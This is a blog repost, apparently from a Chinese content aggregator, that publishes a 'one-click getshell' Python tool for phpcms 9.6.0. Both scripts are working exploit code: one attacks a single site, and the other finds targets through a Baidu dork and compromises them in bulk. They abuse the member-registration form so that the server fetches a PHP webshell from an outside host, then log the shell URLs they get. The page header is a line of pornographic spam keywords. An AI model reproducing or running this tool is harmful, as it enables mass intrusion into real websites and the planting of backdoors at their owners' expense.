日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 综合教程 >内容正文

综合教程

phpcms9-6-0 一键getshell工具

發(fā)布時(shí)間:2023/12/15 综合教程 32 生活家
生活随笔 收集整理的這篇文章主要介紹了 phpcms9-6-0 一键getshell工具 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

介紹

一鍵化python 1.py http://xxx.com,如果是批量直接運(yùn)行py文件即可

待辦

[] 加入對有驗(yàn)證碼phpcms網(wǎng)站的支持
[] 加入批量(已完成)

說明

依賴庫的安裝pip install requests

代碼

# -*- coding:utf-8 -*-

'''
----------------------
Author : Akkuman
Blog   : hacktech.cn
----------------------
'''

import requests
import sys
from random import Random

chars = 'qwertyuiopasdfghjklzxcvbnm0123456789'

def main():
    if len(sys.argv) < 2:
        print("[*]Usage   : Python 1.py http://xxx.com")
        sys.exit()
    host = sys.argv[1]
    url = host + "/index.php?m=member&c=index&a=register&siteid=1"

    data = {
        "siteid": "1",
        "modelid": "1",
        "username": "dsakkfaffdssdudi",
        "password": "123456",
        "email": "dsakkfddsjdi@qq.com",
        # 如果想使用回調(diào)的可以使用http://file.codecat.one/oneword.txt,一句話地址為.php后面加上e=YXNzZXJ0
        "info[content]": "<img src=http://file.codecat.one/normalOneWord.txt?.php#.jpg>",
        "dosubmit": "1",
        "protocol": "",
    }
    try:
        rand_name = chars[Random().randint(0, len(chars) - 1)]
        data["username"] = "akkuman_%s" % rand_name
        data["email"] = "akkuman_%s@qq.com" % rand_name
        
        htmlContent = requests.post(url, data=data)

        successUrl = ""
        if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
            successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
            print("[*]Shell  : %s" % successUrl)
        if successUrl == "":
            print("[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.
")

    except:
        print("Request Error")


if __name__ == '__main__':
    main()

批量

# -*- coding:utf-8 -*-

'''
----------------------
Author : Akkuman
Blog   : hacktech.cn
----------------------
'''

import requests
from bs4 import BeautifulSoup
# from urlparse import unquote //Python2
# from urlparse import urlparse //Python2
from urllib.parse import quote
from urllib.parse import urlparse
from random import Random

chars = 'qwertyuiopasdfghjklzxcvbnm0123456789'

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0"
}

def parseBaidu(keyword, pagenum):
    keywordsBaseURL = 'https://www.baidu.com/s?wd=' + str(quote(keyword)) + '&oq=' + str(quote(keyword)) + '&ie=utf-8' + '&pn='
    pnum = 0
    while pnum <= int(pagenum):
        baseURL = keywordsBaseURL + str(pnum*10)
        try:
            request = requests.get(baseURL, headers=headers)
            soup = BeautifulSoup(request.text, "html.parser")
            for a in soup.select('div.c-container > h3 > a'):
                url = requests.get(a['href'], headers=headers).url
                yield url
        except:
            yield None
        finally:
            pnum += 1


def saveShell(shellUrl):
    with open("webShell.txt","a+") as f:
        f.write("[*]%s
" % shellUrl)

def main():
    data = {
        "siteid": "1",
        "modelid": "1",
        "username": "akkumandsad",
        "password": "123456",
        "email": "akkakkumafa@qq.com",
        # 如果想使用回調(diào)的可以使用http://file.codecat.one/oneword.txt,一句話地址為.php后面加上e=YXNzZXJ0,普通一句話http://file.codecat.one/normalOneWord.txt
        "info[content]": "<img src=http://7xusrl.com1.z0.glb.clouddn.com/bypassdog.txt?.php#.jpg>",
        "dosubmit": "1",
        "protocol": "",
    }
    for crawlUrl in parseBaidu("inurl:index.php?m=member&c=index&a=register&siteid=1", 10):
        try:
            if crawlUrl:
                rand_name = chars[Random().randint(0, len(chars) - 1)]
                data["username"] = "akkuman_%s" % rand_name
                data["email"] = "akkuman_%s@qq.com" % rand_name
                host = urlparse(crawlUrl).scheme + "://" + urlparse(crawlUrl).hostname
                url = host + "/index.php?m=member&c=index&a=register&siteid=1"
                htmlContent = requests.post(url, data=data, timeout=10)
                successUrl = ""
                if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
                    successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
                    print("[*]Shell  : %s" % successUrl)
                    saveShell(successUrl)
                if successUrl == "":
                    print("[x]Failed : Failed to getshell.")
            else:
                continue
        except:
            print("Request Error")



if __name__ == '__main__':
    main()

測試圖

單個(gè)

批量

下載地址

代碼下載地址

總結(jié)

以上是生活随笔為你收集整理的phpcms9-6-0 一键getshell工具的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。